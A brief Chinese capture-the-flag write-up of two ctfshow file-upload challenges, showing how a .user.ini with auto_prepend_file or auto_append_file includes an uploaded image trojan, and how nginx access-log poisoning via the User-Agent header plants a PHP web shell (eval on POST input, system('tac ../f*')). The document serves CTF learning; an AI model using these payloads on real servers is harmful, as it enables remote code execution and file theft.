就记录一些我以前没见过的,简单的懒得记了。。。
153
考察.user.ini
这里用到auto_append_file
和auto_prepend_file
一个相当于在每个php文件尾加上 include(“xxxx”),一个相当于文件头加上 include(“xxx”)
相当于在要执行的php文件(如index.php
)中包含了我们指定的文件(图片马)
但是这种方式其实是有个前提的,因为.user.ini
只对他同一目录下的文件起作用,也就是说,只有同目录下有php文件才可以。
对于这个题,因为他upload目录下有个index.php
所以这种方式是可以成功的。
首先上传图片马(1.png
),然后上传.user.ini
文件,内容为auto_prepend_file=1.png
最后访问/upload/index.php
或/upload
160
要用到日志包含,以前没做过,第一次接触
服务器运行后会生成两个日志文件,这两个文件是access.log
(访问日志)和error.log
(错误日志),日志文件会记录下我们的操作,并且写到访问日志文件access.log之中
当我们访问不存在目录时,例如:http://ctfshow/<?php eval($_POST[1]);?>
它会将错误路径保存在日志中,这时日志中就已经包含了一句话木马
回到本题,先上传图片(123.png
),内容为<?=include"/var/lo"."g/nginx/access.lo"."g"?>
,
然后上传.user.ini
,内容为auto_append_file=123.png
再抓包,将User-Agent
的值改为<?php system('tac ../f*');?>
最后访问/upload